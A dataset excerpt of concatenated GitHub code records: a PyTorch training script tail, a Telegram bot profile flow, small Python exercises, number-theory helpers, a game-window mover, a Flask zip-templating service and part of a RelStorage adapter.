= os.path.join(WEIGHT_DIR, str(args.model) + str(args.name) + str(global_step) + \".pt\")\n torch.save({\n 'epoch': e+1, # end of this epoch; so resume at next.\n 'model_state_dict': m.state_dict(),\n 'optimizer_state_dict': o.state_dict(),\n 'train_loss': train_loss,\n 'test_loss': test_loss},\n CHECKPOINT)\n print('\\tsaved weigths to: ', CHECKPOINT)\n if logger is not None and train_loss is not None:\n logger.add_scalar('test_loss', test_loss, global_step=global_step)\n logger.add_scalar('train_loss', train_loss, global_step=global_step)\n logger.add_image(\"iodine-prediction\", pred[0].reshape(1, 480, 620), global_step=global_step)\n logger.add_image(\"water-prediction\", pred[1].reshape(1, 480, 620), global_step=global_step)\n # logger.add_image(\"water-prediction\", wat)\n print(\"\\ttensorboard updated with test/train loss and a sample image\")\n elif train_loss is not None:\n print(\"\\tloss of global-step {}: {}\".format(global_step, train_loss))\n elif not useTensorboard:\n print(\"\\t(tb-logging disabled) test/train loss: {}/{} \".format(test_loss, train_loss))\n else:\n print(\"\\tno loss accumulated yet\")\n\n # saving final results\n print(\"saving upon exit\")\n torch.save({\n 'epoch': EPOCHS,\n 'model_state_dict': m.state_dict(),\n 'optimizer_state_dict': o.state_dict(),\n 'train_loss': train_loss,\n 'test_loss': test_loss},\n CHECKPOINT)\n print('\\tsaved progress to: ', CHECKPOINT)\n if logger is not None and train_loss is not None:\n logger.add_scalar('test_loss', test_loss, global_step=global_step)\n logger.add_scalar('train_loss', train_loss, global_step=global_step)\n\n\nif __name__ == \"__main__\":\n # Training settings\n parser = argparse.ArgumentParser(description='DeepMaterial model training')\n parser.add_argument('--data', '-d', required=True,\n help='folder containing test and training sets of MNIST')\n parser.add_argument('--run', '-r', required=True,\n help='target folder which will hold model weights and logs')\n parser.add_argument('--valX', required=False, default=None,\n help='path to a single .pt file to validate every epoch')\n parser.add_argument('--valY', required=False, default=None,\n help='path to a single .pt file to validate every epoch')\n parser.add_argument('--testset', required=False, default=None,\n help=\"path to dataset to use to evaluate as testset\")\n\n parser.add_argument('--model', '-m', default='unet',\n help='model to use. options are: [], ')\n parser.add_argument('--name', default='checkpoint',\n help='naming of checkpoint saved')\n parser.add_argument('--norm', required=False, action='store_true', default=False,\n help='choose to normalize or convert iodine images to um. , , ')\n parser.add_argument('--batch-size', type=int, default=2, metavar='N',\n help='input batch size for training (default: 2)')\n parser.add_argument('--test-batch-size', type=int, default=2, metavar='N',\n help='input batch size for testing (default: 2)')\n parser.add_argument('--workers', type=int, default=10, metavar='N',\n help='parallel data loading processes (default: 5)')\n parser.add_argument('--epochs', type=int, default=1, metavar='N',\n help='number of epochs to train (default: 5)')\n parser.add_argument('--iterations', type=int, default=1, metavar='N',\n help='training cycles per epoch (before validation) (default: 1)')\n parser.add_argument('--lr', type=float, default=1e-6, metavar='LR',\n help='learning rate (default: 0.000001)')\n parser.add_argument('--momentum', type=float, default=0.5, metavar='M',\n help='SGD momentum (default: 0.5)')\n parser.add_argument('--tb', action='store_false', default=True,\n help='enables/disables tensorboard logging')\n\n args = parser.parse_args()\n # handle tensorboard outside of train() to be able to stop the tensorboard process\n TB_DIR = os.path.join(args.run, \"tblog\")\n if not os.path.isdir(TB_DIR) and args.tb:\n os.makedirs(TB_DIR)\n\n # create tensorboard logger and start tensorboard\n logger = None\n if args.tb:\n logger = SummaryWriter(log_dir=TB_DIR)\n #tb = program.TensorBoard()\n #tb.configure(argv=[None, '--logdir', TB_DIR])\n #tb_url = tb.launch()\n #print(\"tensorboard living on \", tb_url)\n print(\"tensorboard logs are written to \", TB_DIR)\n else:\n print('tensorboard logging turned off')\n try:\n train(args)\n if logger is not None:\n logger.close()\n except (KeyboardInterrupt, SystemExit):\n print(\"exiting safely because of Keyboard Interrupt or SystemExit\")\n if logger is not None:\n logger.close()","repo_name":"maxrohleder/DeepMaterial","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":21118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"30348978504","text":"from classes.database import DataBase\nfrom classes.user import User\n\nfrom view.menu_btn import get_default_menu, button_menu\nfrom view import random_text\n\n\ndef registration(message, bot):\n user_id = message.from_user.id\n db = DataBase()\n if db.is_exist_user(user_id):\n bot.send_message(user_id, \"Вы уже зарегистрированы\", reply_markup=get_default_menu(user_id))\n return\n\n bot.send_message(user_id, \"Введите свою фамилию и имя.\", reply_markup=None)\n bot.register_next_step_handler(message, get_role, bot) # Переход на этап получения данных о пользователе\n\n\ndef get_role(message, bot):\n user = User(message.from_user.id, message.text)\n bot.send_message(message.from_user.id, \"Кем вы являетесь по профессии?\\nСтудент или преподаватель.\",\n reply_markup=button_menu([\"Студент\", \"Преподаватель\"]))\n bot.register_next_step_handler(message, check_profile, bot, user)\n\n\ndef check_profile(message, bot, user):\n user.role = message.text\n menu = button_menu([\"Все верно\", \"Исправить\"])\n bot.send_message(message.from_user.id, \"Проверьте все данные:\\n{}\".format(user), reply_markup=menu)\n bot.register_next_step_handler(message, finish, bot, user)\n\n\ndef finish(message, bot, user):\n if message.text == \"Все верно\":\n try:\n db = DataBase()\n db.add_user(user)\n menu = get_default_menu(message.from_user.id)\n bot.send_message(message.from_user.id, \"Вы зарегистрированны!\".format(user),\n reply_markup=menu)\n except:\n bot.send_message(message.from_user.id, \"Возникла ошибка при регистрации.\".format(user),\n reply_markup=get_default_menu(user.id))\n else:\n registration(message, bot)\n\n\ndef edit(message, bot):\n user_id = message.from_user.id\n db = DataBase()\n if not db.is_exist_user(user_id):\n bot.send_message(user_id, \"Вы ещё не зарегистрированы.\", reply_markup=get_default_menu())\n return\n\n user = db.get_user(user_id)\n bot.send_message(user_id, \"Текущие данные: {}\".format(user))\n bot.send_message(user_id, \"Как вас зовут?\\n( Фамилия и Имя )\", reply_markup=button_menu([\"Назад\"]))\n bot.register_next_step_handler(message, edit_role, bot)\n\n\ndef edit_role(message, bot):\n if message.text.lower() == \"назад\":\n bot.send_message(message.from_user.id, random_text.back(), reply_markup=get_default_menu(message.from_user.id))\n return\n user = User(message.from_user.id, message.text)\n menu = button_menu([\"Студент\", \"Преподаватель\", \"Назад\"])\n bot.send_message(message.from_user.id, \"Кем вы являетесь?\", reply_markup=menu)\n bot.register_next_step_handler(message, edit_check, bot, user)\n\n\ndef edit_check(message, bot, user):\n if message.text.lower() == \"назад\":\n bot.send_message(message.from_user.id, random_text.back(), reply_markup=get_default_menu(message.from_user.id))\n return\n user.role = message.text\n menu = button_menu([\"Все верно\", \"Исправить\"])\n bot.send_message(message.from_user.id, \"Проверьте все данные:\\n{}\".format(user), reply_markup=menu)\n bot.register_next_step_handler(message, edit_finish, bot, user)\n\n\ndef edit_finish(message, bot, user):\n if message.text == \"Все верно\":\n try:\n db = DataBase()\n db.add_user(user)\n menu = get_default_menu(message.from_user.id)\n bot.send_message(message.from_user.id, \"Данные обновлены!\".format(user),\n reply_markup=menu)\n except:\n bot.send_message(message.from_user.id, \"Возникла ошибка при изменении данных.\".format(user),\n reply_markup=get_default_menu(user.id))\n else:\n edit(message, bot)","repo_name":"Skalligrim/NewBot","sub_path":"brench_communicate/user_profile_edit.py","file_name":"user_profile_edit.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"33382644835","text":"from statistical import *\r\nfrom operants import *\r\nprint(\"this code can only add,subtract,multiply,divide,root,mean,fact\")\r\nprint()\r\nq = input(\"do you wish to continue ..answer(YES/NO): \")\r\nif q == \"yes\":\r\n try:\r\n class calculator:\r\n def __init__(self,oprt,x,y):\r\n self.oprt = oprt\r\n self.x = x\r\n self.y = y\r\n def operants(self):\r\n if self.oprt == \"add\":\r\n return add(self.x,self.y) \r\n elif self.oprt==\"sub\":\r\n return sub(self.x,self.y)\r\n elif self.oprt==\"mult\":\r\n return mult(self.x,self.y)\r\n elif self.oprt==\"div\":\r\n return div(self.x,self.y) \r\n elif self.oprt==\"root\":\r\n return root(self.x, self.y)\r\n elif self.oprt== \"square\":\r\n return square(self.x, self.y)\r\n elif self.oprt==\"cube\":\r\n return cube(self.x, self.y)\r\n else:\r\n print(\"this operation is not available ...please restart the program\") \r\n for i in (self.operants==None):\r\n if self.operants == bool:\r\n int(i)\r\n break\r\n def call():\r\n print(\"format:add,subtraction as sub,division as div,multiply as mult,root,square,cube,mean,factorial as fact \") \r\n oprt= input(\"enter your operation: \") #for addition,subtraction,multiplication,division input add,sub,mult,division respectively for your operation\r\n if oprt == \"mean\":\r\n mean()\r\n elif oprt == \"fact\":\r\n h = int(input(\"enter the number yu want to find the factorial of: \"))\r\n result = fact(h)\r\n print(result)\r\n else:\r\n x = int(input(\"enter your first number:\")) \r\n y = int(input(\"enter your second number:\"))\r\n z = calculator(oprt,x,y)\r\n print(z.operants())\r\n call()\r\n except:\r\n print(\"you made an error during computation of the operation\")\r\n print()\r\n eye = input(\"do you want to restart the program(yes/no): \")\r\n if eye== \"yes\":\r\n print()\r\n try:\r\n call()\r\n except Exception as e:\r\n print(\"you made another error\" , e)\r\n call()\r\n else:\r\n print(\"thank you for your time\")\r\nelse: \r\n print(\"please wait for our latest design that has more functions\")","repo_name":"juwonsmith/calculator","sub_path":"final project(calculator).py","file_name":"final project(calculator).py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35412623661","text":"# 3. Avem o lista de numere (int și float). Sa se scrie un program,\n# care afiseaza cel mai mare numar din lista și cel mai mic numar din lista.\n# a. cautati o functie care sa va returneze minimul și maximul dintr-o lista\n# b. incercati sa creati voi programul care parcurge lista și determina elementul cel mai mic\n# respectiv cel mai mare. Asta poate e un pic mai greu.\n# Daca nu va descurcati puteti cauta algoritmul pe Google dar în cazul acesta incercati sa il intelegeti,\n# nu dati doar copy/paste\n# c. Ce se intampla la punctele a și b de mai sus daca lista contine și altceva decat numere?\n# De exemplu stringuri pe langa numere. Mai merge? De ce?\n\nlista = [23, 45, 34.3, -11, -5]\n\nmaxim = float('-inf')\nminim = float('inf')\n\nfor k in lista:\n if k > maxim:\n maxim = k\n if k < minim:\n minim = k\n\nprint('maxim este :', maxim)\nprint('minim este :', minim)\n","repo_name":"mihaiDgalea/python-won3","sub_path":"Python.3/Lab3/Tema.3.3.b.py","file_name":"Tema.3.3.b.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42455691949","text":"# Easy\n\n# This problem was asked by Amazon.\n\n# Given a N by M matrix of numbers, print out the matrix in a clockwise spiral.\n\n# For example, given the following matrix:\n\n# [[1, 2, 3, 4, 5],\n# [6, 7, 8, 9, 10],\n# [11, 12, 13, 14, 15],\n# [16, 17, 18, 19, 20]]\n# You should print out the following:\n\n# 2 3 1 4 5 10 15 20 19 18 17 16 11 6 7 8 9 14 13 12\n\nfrom typing import List\n\n\nclass Solution:\n def spiralOrder(self, matrix: List[List[int]]) -> List[int]:\n result = []\n m = len(matrix)\n n = len(matrix[0])\n x = 0\n y = 0\n count = 0\n skip = 0\n move = \"r\"\n while count < m * n:\n result.append(matrix[x][y])\n count += 1\n if y + skip < n - 1 and move == \"r\":\n y += 1\n if y + skip == n - 1:\n move = \"d\"\n\n elif y + skip == n - 1 and move == \"r\":\n x += 1\n move = \"d\"\n\n elif x + skip < m - 1 and move == \"d\":\n x += 1\n if x + skip == m - 1:\n move = \"l\"\n\n elif x + skip == m - 1 and move == \"d\":\n y -= 1\n move = \"l\"\n\n elif y > skip and move == \"l\":\n y -= 1\n if y == skip:\n move = \"u\"\n skip += 1\n elif x > skip and move == \"u\":\n x -= 1\n if x == skip:\n move = \"r\"\n\n return result\n","repo_name":"BSiddharth/Daily-Coding-Problems","sub_path":"DCP65.py","file_name":"DCP65.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35760526914","text":"\"\"\"\nGiven a set of elements, give the power set, i.e. set containing all the \npossible subsets of the set.\n\"\"\"\n\nimport unittest\n\ndef power_set_helper(input_set):\n if len(input_set) == 1:\n \treturn [[input_set[0]]]\n item = input_set.pop()\n \n subset = power_set_helper(input_set)\n copy = list()\n \n for s in subset:\n copy.append(s + [item])\n \n subset += copy + [[item]]\n \n return subset \n\ndef power_set(input_set):\n\tsubset = power_set_helper(input_set)\n\tsubset.append([''])\n\t\n\tresult = set()\n\tfor s in subset:\n\t\tf = frozenset(s)\n\t\tresult.add(f)\n\t\t\n\treturn result\n\n\n# Unit test\nclass PowersetTests(unittest.TestCase):\n \n def testA(self):\n expected = set([frozenset(['']), frozenset(['A'])])\n actual = power_set(['A'])\n self.failUnless(expected == actual)\n \n def testAB(self):\n expected = set([frozenset(['']), frozenset(['A']), frozenset(['B']),\n \tfrozenset(['A', 'B'])])\n actual = power_set(['A', 'B'])\n self.failUnless(expected == actual)\n \n def testABC(self):\n expected = set([frozenset(['']), frozenset(['A']), frozenset(['B']),\n \tfrozenset(['C']), frozenset(['A', 'B']), frozenset(['B', 'C']),\n \tfrozenset(['A', 'C']), frozenset(['A', 'B', 'C'])])\n actual = power_set(['A', 'B', 'C'])\n self.failUnless(expected == actual)\n \ndef main():\n unittest.main()\n \nif __name__ == '__main__':\n main()\n","repo_name":"sumitgouthaman/AlgorithmPlayground","sub_path":"Recursion/PowerSet.py","file_name":"PowerSet.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25791483667","text":"# Functions and classes for number-theoretic stuff (e.g. primes, divisibility, Fibonacci numbers, etc.)\r\n\r\nimport math\r\nimport itertools\r\nimport numpy as np\r\n\r\ndef primes_up_to(n):\r\n return optimized_sieve_of_erathosthenes(n)\r\n\r\ndef sieve_of_erathosthenes(n):\r\n # Generates a list of all the primes up to (but not including) n using the Sieve of Eratosthenes.\r\n candidates = {i: True for i in range(2, n)} # Initially every number [2,n) is considered prime\r\n\r\n # Don't need to consider p above sqrt(n), as for any such composite p > sqrt(n),\r\n # it'll have a factor < sqrt(n) that we'd already have covered.\r\n for p in range(2, math.ceil(math.sqrt(n))):\r\n if candidates[p]: # If p is prime, starting at p^2 we mark every multiple p^2 + j*p <= n as composite.\r\n j = 0\r\n while p*p + j*p < n:\r\n candidates[p*p + j*p] = False\r\n j += 1\r\n return sorted([i for i in candidates.keys() if candidates[i]]) # Return whatever is still marked prime.\r\n\r\ndef optimized_sieve_of_erathosthenes(n):\r\n # Generates a list of all the primes up to (but not including) n using the Sieve of Eratosthenes.\r\n # Uses several optimizations to speed things up.\r\n\r\n # Base cases\r\n if n <= 2:\r\n return []\r\n if n == 3:\r\n return [2]\r\n\r\n # Our first optimization will be to only consider odd candidates p=3,5,...,n\r\n # This will require some extra complexity when reasoning about indices,\r\n # but saves significant time and space.\r\n # We'll use a numpy array of ones and zeros, lets call it X.\r\n # X[0] corresponds to p=3, X[1] to 5, X[2] to 7, and X[i] to 2i+3.\r\n # So how long should X be?\r\n # If n=3, length is 0.\r\n # If n=4 or 5, length is 1\r\n # If n=6 or 7, length is 2\r\n # Length is therefore ceil((n-3)/2)\r\n X = np.ones(math.ceil((n-3)/2))\r\n\r\n # Starting at p=3, we want to consider every odd p < sqrt(n).\r\n # But for any given n (where we want all the primes less than n),\r\n # which p's should we consider?\r\n # For any n in [4,25], we only want to consider p=3.\r\n # But once n > 25, sqrt(n) > 5, so we want to consider p=3,5,...\r\n # Likewise, once n > 49, we want to consider p=3,5,7,...\r\n # Therefore we want [3, max(ceil(sqrt(n)),4))\r\n for p in range(3, max(math.ceil(math.sqrt(n)), 4), 2):\r\n # Perform index translation\r\n i = int((p-3)/2)\r\n\r\n if X[i] == 1:\r\n # Mark any multiple of p in (p^2, n] as composite.\r\n values_to_mark = np.arange(p*p, n, 2*p) # from p^2 to n, in strides of size 2p (i.e. only odds).\r\n indices_to_mark = ((values_to_mark - 3)/2).astype(int) # translate to indices\r\n X[indices_to_mark] = 0\r\n\r\n # Get the indices of the positions still marked as prime,\r\n # translate to their values and return them, adding 2 at the start\r\n return [2] + list(2*np.nonzero(X)[0] + 3)\r\n\r\n\r\n\r\n\r\ndef is_prime(n):\r\n # Primality test using trial division\r\n if n <= 1:\r\n return False\r\n if n == 2:\r\n return True\r\n for p in primes_up_to(math.ceil(math.sqrt(n))+1):\r\n if n % p == 0:\r\n return False\r\n return True\r\n\r\ndef prime_factorization_by_trial_division(n):\r\n # Factors integer n into a dict of prime factors and powers,\r\n # using trial division.\r\n # Example: 84 = 2 * 2 * 3 * 7 = 2^2 * 3^1 * 7^1 = {2:2, 3:1, 7:1}\r\n\r\n # List of possible factors are the primes 2, ..., sqrt(n)+1\r\n # NOTE: if n is very very large, this could be quite slow\r\n possible_prime_factors = primes_up_to(int(math.sqrt(n))+1)\r\n\r\n factors = {} # dict where we'll store the factors and powers thereof\r\n x = n # we'll continually whittle down x until it equals 1\r\n\r\n for candidate_factor in possible_prime_factors: # 2, 3, 5, ...\r\n # Stopping condition: We've completely factored n\r\n if x == 1:\r\n return factors\r\n\r\n # Otherwise, test if x is divisible by the candidate factor\r\n while x % candidate_factor == 0:\r\n factors.setdefault(candidate_factor, 0)\r\n factors[candidate_factor] += 1\r\n x = int(x / candidate_factor)\r\n\r\n # By this point, x could be prime. If it is, add it to the factors list then return\r\n if is_prime(x):\r\n factors[x] = 1\r\n return factors\r\n\r\n\r\ndef divisors(n):\r\n # Returns a list in ascending order of the divisors of an integer n, including n\r\n\r\n # First step is to build a list of all the factors of n, from the prime factorization\r\n factors = [1]\r\n for factor, power in prime_factorization_by_trial_division(n).items():\r\n for _ in range(power):\r\n factors.append(factor)\r\n\r\n # The divisors of n are the products of each unique subset\r\n # of the factors of n. So we'll iterate through every possible\r\n # subset of factors.\r\n divisors = {}\r\n for subset_size in range(len(factors)):\r\n for subset in itertools.combinations(factors, subset_size):\r\n if subset not in divisors:\r\n divisors[subset] = math.prod(subset)\r\n\r\n return sorted(list(set(divisors.values())))\r\n\r\nclass FibonacciSequence:\r\n # Generates an infinite sequence of Fibonacci numbers.\r\n # Usage\r\n def __init__(self):\r\n self.Fn_2 = 0\r\n self.Fn_1 = 1\r\n self.Fn = 1\r\n\r\n def __repr__(self):\r\n return f\"Fibonacci(0,1,...,{self.Fn})\"\r\n\r\n def __iter__(self):\r\n while True:\r\n yield self.Fn\r\n self.Fn_2 = self.Fn_1\r\n self.Fn_1 = self.Fn\r\n self.Fn = self.Fn_1 + self.Fn_2\r\n","repo_name":"PriceHardman/ProjectEuler.py","sub_path":"src/project_euler/utils/number_theory.py","file_name":"number_theory.py","file_ext":"py","file_size_in_byte":5575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"36284622218","text":"import time\nfrom loguru import logger\nimport util\n\n\nclass GameWindow():\n # Object to be shared with Threader and holds functions to manipulate the game window.\n carrotjuicer_maximized_trigger = False\n\n def __init__(self, handle, threader):\n self.handle = handle\n self.threader = threader\n return\n\n def get_rect(self):\n rect = util.get_window_rect(self.handle)\n if not rect:\n return None, None\n return rect, rect_is_portrait(rect)\n\n def set_pos(self, pos):\n if pos[2] < 1 or pos[3] < 1:\n logger.error(f\"Trying to set window to invalid size: {pos}\")\n logger.error(\"Skipping\")\n return False\n success = util.move_window(self.handle, pos[0], pos[1], pos[2], pos[3], True)\n if not success:\n logger.error(f\"Could not move window. {self.handle}\")\n return success\n\n def get_workspace_rect(self):\n monitor = util.monitor_from_window(self.handle)\n if not monitor:\n return None\n monitor_info = util.get_monitor_info(monitor)\n if not monitor_info:\n return None\n return monitor_info.get(\"Work\")\n\n def calc_max_and_center_pos(self):\n workspace_rect = self.get_workspace_rect()\n if not workspace_rect:\n logger.error(\"Cannot find workspace of game window\")\n return\n \n # Apply safezone from settings\n safezone = self.threader.settings[\"s_maximize_safezone\"]\n if not safezone:\n safezone = [0, 0, 0, 0] # Left, Right, Top, Bottom\n \n workspace_rect = [\n workspace_rect[0] + safezone[0],\n workspace_rect[1] + safezone[2],\n workspace_rect[2] - safezone[1],\n workspace_rect[3] - safezone[3]\n ]\n\n # Get the current game rect, dejankify it and turn it into pos.\n game_rect, is_portrait = self.get_rect()\n game_rect = dejankify(list(game_rect))\n game_pos = rect_to_pos(game_rect)\n\n # Get workspace w/h\n workspace_height = float(workspace_rect[3] - workspace_rect[1])\n workspace_width = float(workspace_rect[2] - workspace_rect[0])\n\n # Scale game based on height.\n multiplier = workspace_height / game_pos[3]\n new_game_height = round(game_pos[3] * multiplier)\n new_game_width = util.get_width_from_height(new_game_height, is_portrait)\n\n # Check if game is too wide, scale based on width.\n if new_game_width > workspace_width:\n multiplier = workspace_width / new_game_width\n new_game_height = round(new_game_height * multiplier)\n new_game_width = util.get_width_from_height(new_game_height, is_portrait)\n else:\n new_game_width = round(new_game_width)\n\n # Calcualte the new top-left x and y position\n new_x = workspace_rect[0] + round((workspace_width * 0.5) - (new_game_width * 0.5))\n new_y = workspace_rect[1] + round((workspace_height * 0.5) - (new_game_height * 0.5))\n\n # Create the new game rect\n new_game_rect = [\n new_x,\n new_y,\n new_x + util.get_width_from_height(new_game_height, is_portrait),\n new_y + new_game_height\n ]\n\n # Re-add jank before resizing window\n new_game_rect = jankify(new_game_rect)\n new_game_pos = rect_to_pos(new_game_rect)\n new_game_pos[2] = util.get_width_from_height(new_game_pos[3], is_portrait)\n return new_game_pos, is_portrait\n\n def maximize_and_center(self):\n self.set_pos(self.calc_max_and_center_pos()[0])\n return\n\n\nJANK_OFFSET = 8\n\ndef dejankify(rect):\n rect[0] += JANK_OFFSET\n rect[2] -= JANK_OFFSET\n rect[3] -= JANK_OFFSET\n return rect\n\ndef jankify(rect):\n rect[0] -= JANK_OFFSET\n rect[2] += JANK_OFFSET\n rect[3] += JANK_OFFSET\n return rect\n\ndef rect_is_portrait(rect):\n return rect[3] - rect[1] > rect[2] - rect[0]\n\ndef rect_to_pos(rect):\n return [rect[0], rect[1], rect[2] - rect[0], rect[3] - rect[1]]\n\ndef pos_to_rect(pos):\n return [pos[0], pos[1], pos[0] + pos[2], pos[1] + pos[3]]\n\n\nclass WindowMover():\n should_stop = False\n\n last_portrait = None\n last_rect = None\n window = None\n prev_auto_resize = None\n\n def __init__(self, threader):\n self.threader = threader\n self.screenstate = threader.screenstate\n self.window = None\n self.prev_auto_resize = self.threader.settings[\"s_lock_game_window\"]\n \n def try_maximize(self):\n if self.window:\n new_pos, is_portrait = self.window.calc_max_and_center_pos()\n self.threader.settings.save_game_position(new_pos, is_portrait)\n self.window.set_pos(new_pos)\n # self.threader.carrotjuicer.reset_browser = True\n\n def stop(self):\n self.should_stop = True\n \n def run_with_catch(self):\n try:\n self.run()\n except Exception:\n util.show_error_box(\"Critical Error\", \"Uma Launcher has encountered a critical error and will now close.\")\n self.threader.stop()\n\n def run(self):\n while not self.should_stop and not self.screenstate.game_handle:\n time.sleep(0.25)\n\n self.window = GameWindow(self.screenstate.game_handle, self.threader)\n\n while not self.should_stop and self.screenstate.game_handle:\n time.sleep(0.25)\n game_rect, is_portrait = self.window.get_rect()\n\n if not game_rect:\n continue\n\n # Keep maximize option in the tray.\n # Toggle to auto-resize\n\n auto_resize = self.threader.settings[\"s_lock_game_window\"]\n\n if auto_resize:\n\n # Just enabled auto-resize. Save current window position so it can be re-used.\n if not self.prev_auto_resize:\n self.threader.settings.save_game_position(rect_to_pos(game_rect), portrait=is_portrait)\n\n # Already in auto-resize but orientation changed. Save the previous orientation's position.\n if self.last_portrait != is_portrait:\n if self.last_rect:\n self.threader.settings.save_game_position(rect_to_pos(self.last_rect), portrait=self.last_portrait)\n\n # Load current orientation's position and apply.\n # If None: maximize.\n new_pos = self.threader.settings.load_game_position(portrait=is_portrait)\n if new_pos:\n self.window.set_pos(new_pos)\n else:\n new_pos, is_portrait = self.window.calc_max_and_center_pos()\n self.threader.settings.save_game_position(new_pos, is_portrait)\n self.window.set_pos(new_pos)\n\n # Position may have changed: update variables.\n game_rect, is_portrait = self.window.get_rect()\n if not game_rect:\n continue\n\n self.prev_auto_resize = auto_resize\n self.last_portrait = is_portrait\n self.last_rect = game_rect\n\n return\n","repo_name":"KevinVG207/UmaLauncher","sub_path":"umalauncher/windowmover.py","file_name":"windowmover.py","file_ext":"py","file_size_in_byte":7151,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"20"} +{"seq_id":"45215610432","text":"import unittest\n\nfrom tictactoemodule import tictactoe\n\n\nclass Initialization(unittest.TestCase):\n def test_board_initialized(self):\n ttt = tictactoe.TicTacToe()\n self.assertEqual(ttt.symbol0, \"X\")\n self.assertEqual(ttt.board, [[None] * 3] * 3)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"marko-knoebl/courses-code","sub_path":"python/2019-08-26/tictactoemodule/test_tictactoe.py","file_name":"test_tictactoe.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"20"} +{"seq_id":"19897475688","text":"import numpy as np\nfrom sklearn.preprocessing import StandardScaler\nfrom path import *\n\ndata = np.load(processedDataPath)\nnewdata = {\n 'y': data['y'],\n 'id': data['id']\n}\n\nscaler = StandardScaler()\nnewdata['X'] = scaler.fit_transform(data['X'])\nnewdata['X_test'] = scaler.transform(data['X_test'])\n\nnp.savez_compressed(scaledDataPath, **newdata)\n","repo_name":"catwang01/kaggle","sub_path":"give-me-some-credit/scale.py","file_name":"scale.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21166996978","text":"#!/usr/local/bin/python3\nimport io\nimport os\nimport zipfile\nfrom flask import Flask, request, send_file, make_response\n\napp = Flask(__name__)\ndirectory = \"/workdir/data\"\n\n@app.route('/handle')\ndef handle_request():\n domain = request.args.get('athack_domain')\n path = request.args.get('athack_path')\n filename = request.args.get('athack_filename')\n\n # Validate required parameters\n if not domain or not path or not filename:\n return 'Missing parameters', 400\n \n # Generate the zip file in memory\n zip_data = io.BytesIO()\n with zipfile.ZipFile(zip_data, 'w') as zip_file:\n for filename in os.listdir(directory):\n filepath = os.path.join(directory, filename)\n if os.path.isfile(filepath): # Process only files, not directories\n # Read the content of the file\n with open(filepath, 'r') as file:\n content = file.read()\n \n # Replace the word \"__TOCHANGE__\" with \"REPLACED\"\n updated_content = content\n updated_content = updated_content.replace('__ATHACK_DOMAIN__', domain)\n updated_content = updated_content.replace('__ATHACK_PATH__', path)\n updated_content = updated_content.replace('__ATHACK_FILENAME__', filename)\n\n zip_file.writestr(filename, updated_content)\n\n # Set the zip data position to the beginning\n zip_data.seek(0)\n\n # Create a response with the zip file data\n response = make_response(zip_data.getvalue())\n response.headers['Content-Disposition'] = f'attachment; filename={filename}'\n response.headers['Content-Type'] = 'application/zip'\n\n return response\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=9999)\n","repo_name":"dcylabs/u2215","sub_path":"images/handler/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34012387360","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport time\n\nfrom persistent.timestamp import TimeStamp\n\nfrom ZODB.utils import p64 as int64_to_8bytes\nfrom ZODB.utils import u64 as bytes8_to_int64\n\nfrom relstorage.storage.interfaces import VoteReadConflictError\nfrom .._util import metricmethod_sampled\nfrom .._compat import MAX_S_TID\nfrom .._util import timestamp_at_unixtime\nfrom .._util import TRACE\nfrom ..options import Options\n\nfrom ._util import DatabaseHelpersMixin\nfrom .drivers import _select_driver\nfrom .interfaces import UnableToLockRowsToModifyError\nfrom .interfaces import UnableToLockRowsDeadlockError\n\nlogger = __import__('logging').getLogger(__name__)\n\nclass AbstractAdapter(DatabaseHelpersMixin):\n\n keep_history = None # type: bool\n options = None # type: Options\n driver_options = None # type: IDBDriverOptions\n locker = None # type: ILocker\n txncontrol = None # type: ITransactionControl\n mover = None # type: IObjectMover\n connmanager = None # type: IConnectionManager\n oidallocator = None # type: IOIDAllocator\n dbiter = None # type: DatabaseIterator\n packundo = None\n\n def __init__(self, options=None):\n if options is None:\n options = Options()\n self.options = options\n self.keep_history = options.keep_history\n\n self.driver = driver = self._select_driver()\n self._binary = driver.Binary\n\n # If it was already set, that means it shared with other\n # instances, so no need to register the openings.\n connmanager_was_set = self.connmanager is not None\n self._create()\n if not driver.supports_64bit_unsigned_id:\n self.packundo.MAX_TID = MAX_S_TID\n self.MAX_TID = MAX_S_TID\n self.dbiter.MAX_TID = MAX_S_TID\n\n if not connmanager_was_set:\n self.connmanager.add_on_store_opened(self.mover.on_store_opened)\n self.connmanager.add_on_load_opened(self.mover.on_load_opened)\n self.connmanager.add_on_store_opened(self.locker.on_store_opened)\n\n def _create(self):\n raise NotImplementedError\n\n def release(self):\n if self.oidallocator is not None:\n self.oidallocator.release()\n self.oidallocator = None\n\n def close(self):\n if self.oidallocator is not None:\n self.oidallocator.close()\n self.oidallocator = None\n\n def _select_driver(self, options=None):\n return _select_driver(\n options or self.options or Options(),\n self.driver_options\n )\n\n def __repr__(self):\n return \"<%s.%s at 0x%x keep_history=%s driver=%s>\" % (\n self.__class__.__module__,\n self.__class__.__name__,\n id(self),\n self.keep_history,\n self.driver,\n )\n\n @metricmethod_sampled\n def lock_database_and_choose_next_tid(self, cursor,\n username,\n description,\n extension):\n 